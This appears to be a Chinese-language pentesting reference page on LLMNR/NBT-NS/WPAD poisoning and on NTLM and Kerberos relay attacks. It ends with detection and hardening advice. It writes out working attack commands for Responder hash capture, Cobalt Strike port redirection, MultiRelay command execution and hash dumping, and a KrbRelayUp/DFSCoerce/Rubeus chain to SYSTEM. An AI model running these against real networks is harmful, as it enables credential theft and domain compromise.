Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

网络协议

本地主机解析协议

• LLMNR, NBT-NS 和 mDNS：
• 微软和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。类似地，苹果和 Linux 系统使用 mDNS。
• 由于这些协议在 UDP 上的未认证广播特性，它们容易受到拦截和欺骗。
• Responder 可用于通过向查询这些协议的主机发送伪造响应来冒充服务。
• 有关使用 Responder 进行服务冒充的更多信息，请参见 这里。

Web 代理自动发现协议 (WPAD)

• WPAD 允许浏览器自动发现代理设置。
• 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来促进发现。
• Responder 可以自动化 WPAD 攻击，将客户端引导到恶意 WPAD 服务器。

Responder 用于协议中毒

• Responder 是一个用于中毒 LLMNR、NBT-NS 和 mDNS 查询的工具，根据查询类型选择性响应，主要针对 SMB 服务。
• 它在 Kali Linux 中预装，可在 /etc/responder/Responder.conf 中配置。
• Responder 在屏幕上显示捕获的哈希并将其保存在 /usr/share/responder/logs 目录中。
• 它支持 IPv4 和 IPv6。
• Windows 版本的 Responder 可在 这里 获取。

运行 Responder

• 使用默认设置运行 Responder：responder -I <Interface>
• 进行更激进的探测（可能有副作用）：responder -I <Interface> -P -r -v
• 捕获 NTLMv1 挑战/响应以便于破解的技术：responder -I <Interface> --lm --disable-ess
• 可以通过以下命令激活 WPAD 冒充：responder -I <Interface> --wpad
• NetBIOS 请求可以解析为攻击者的 IP，并可以设置身份验证代理：responder.py -I <interface> -Pv

使用 Responder 进行 DHCP 中毒

• 伪造 DHCP 响应可以永久中毒受害者的路由信息，提供比 ARP 中毒更隐蔽的替代方案。
• 这需要对目标网络配置的精确了解。
• 运行攻击：./Responder.py -I eth0 -Pdv
• 这种方法可以有效捕获 NTLMv1/2 哈希，但需要小心处理以避免网络中断。

使用 Responder 捕获凭据

• Responder 将使用上述协议冒充服务，当用户尝试对伪造的服务进行身份验证时捕获凭据（通常是 NTLMv2 挑战/响应）。
• 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便于凭据破解。

重要的是要注意，使用这些技术应合法和道德，确保获得适当授权，避免干扰或未经授权的访问。

Inveigh

Inveigh 是一个针对 Windows 系统的渗透测试人员和红队成员设计的工具。它提供类似于 Responder 的功能，执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件，主要版本为 Inveigh 和 InveighZero。详细参数和说明可以在 wiki 中找到。

Inveigh 可以通过 PowerShell 操作：

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

或作为 C# 二进制文件执行：

Inveigh.exe

NTLM Relay Attack

此攻击利用 SMB 认证会话访问目标机器，如果成功则授予系统 shell。关键前提条件包括：

• 认证用户必须在中继主机上具有本地管理员访问权限。
• SMB 签名应禁用。

445 端口转发和隧道

在直接网络引入不可行的情况下，需要转发和隧道 445 端口上的流量。像 PortBender 这样的工具有助于将 445 端口流量重定向到另一个端口，这在可以进行驱动程序加载的本地管理员访问时至关重要。

PortBender 在 Cobalt Strike 中的设置和操作：

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM 继电攻击的其他工具

• Metasploit: 配置代理、本地和远程主机详细信息。
• smbrelayx: 用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
• MultiRelay: Responder 套件中的一个工具，用于中继特定用户或所有用户，执行命令或转储哈希。

每个工具都可以配置通过 SOCKS 代理操作，如果需要，即使在间接网络访问的情况下也能进行攻击。

MultiRelay 操作

MultiRelay 从 /usr/share/responder/tools 目录执行，针对特定 IP 或用户。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

这些工具和技术形成了一套全面的工具，用于在各种网络环境中进行 NTLM 中继攻击。

强制 NTLM 登录

在 Windows 中，您可能能够强制某些特权账户对任意机器进行身份验证。请阅读以下页面以了解如何：

{{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}}

Kerberos 中继攻击

Kerberos 中继攻击从一个服务窃取 AP-REQ 票证，并将其重新用于共享 相同计算机账户密钥 的第二个服务（因为两个 SPN 位于同一 $ 机器账户上）。即使 SPN 的 服务类别不同（例如 CIFS/ → LDAP/），这也有效，因为解密票证的 密钥 是机器的 NT 哈希，而不是 SPN 字符串本身，SPN 字符串不是签名的一部分。

与 NTLM 中继不同，跳转仅限于 同一主机，但是，如果您针对允许您写入 LDAP 的协议，您可以链入 基于资源的受限委派 (RBCD) 或 AD CS 注册，并在一次操作中获取 NT AUTHORITY\SYSTEM。

有关此攻击的详细信息，请查看：

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos 基础知识

• 票证使用 拥有 SPN 的账户的密码派生密钥 加密。
• AP-REQ 内的 Authenticator 有一个 5 分钟的时间戳；在该窗口内重放有效，直到服务缓存看到重复。
• Windows 很少检查票证中的 SPN 字符串是否与您访问的服务匹配，因此 CIFS/HOST 的票证通常可以在 LDAP/HOST 上正常解密。

• 2. 中继 Kerberos 的条件

1. 共享密钥： 源和目标 SPN 属于同一计算机账户（Windows 服务器的默认设置）。
2. 无通道保护： SMB/LDAP 签名关闭，HTTP/LDAPS 的 EPA 关闭。
3. 您可以拦截或强制身份验证： LLMNR/NBNS 中毒，DNS 欺骗，PetitPotam / DFSCoerce RPC，伪造 AuthIP，恶意 DCOM 等。
4. 票证来源未被使用： 您在真实数据包到达之前赢得比赛或完全阻止它；否则服务器的重放缓存会触发事件 4649。
5. 您需要以某种方式能够在通信中执行 MitM，可能是 DNSAmins 组的一部分，以修改域的 DNS 或能够更改受害者的 HOST 文件。

Kerberos 中继步骤

• 3.1 侦察主机

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 启动中继监听器

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp 将 KrbRelay → LDAP → RBCD → Rubeus → SCM 绕过 包装在一个二进制文件中。

• 3.3 强制 Kerberos 认证

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce使DC向我们发送Kerberos CIFS/DC01票证。

• 3.4 中继AP-REQ

KrbRelay从SMB中提取GSS blob，将其重新打包为LDAP绑定，并将其转发到ldap://DC01——身份验证成功，因为相同的密钥解密了它。

• 3.5 滥用LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

您现在拥有 NT AUTHORITY\SYSTEM。

值得了解的更多路径

故障排除

检测

• 在几秒钟内，来自同一来源的 Event 4769 激增，针对 CIFS/、HTTP/、LDAP/。
• 服务上的 Event 4649 表示检测到重放。
• 来自 127.0.0.1 的 Kerberos 登录（中继到本地 SCM）高度可疑—通过 KrbRelayUp 文档中的 Sigma 规则进行映射。
• 监视对 msDS-AllowedToActOnBehalfOfOtherIdentity 或 msDS-KeyCredentialLink 属性的更改。

加固

1. 在每台服务器上 强制 LDAP 和 SMB 签名 + EPA。
2. 拆分 SPN，使 HTTP 不与 CIFS/LDAP 在同一帐户上。
3. 修补强制向量（PetitPotam KB5005413、DFS、AuthIP）。
4. 设置 ms-DS-MachineAccountQuota = 0 以阻止恶意计算机加入。
5. 对 Event 4649 和意外的回环 Kerberos 登录发出警报。

参考文献

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html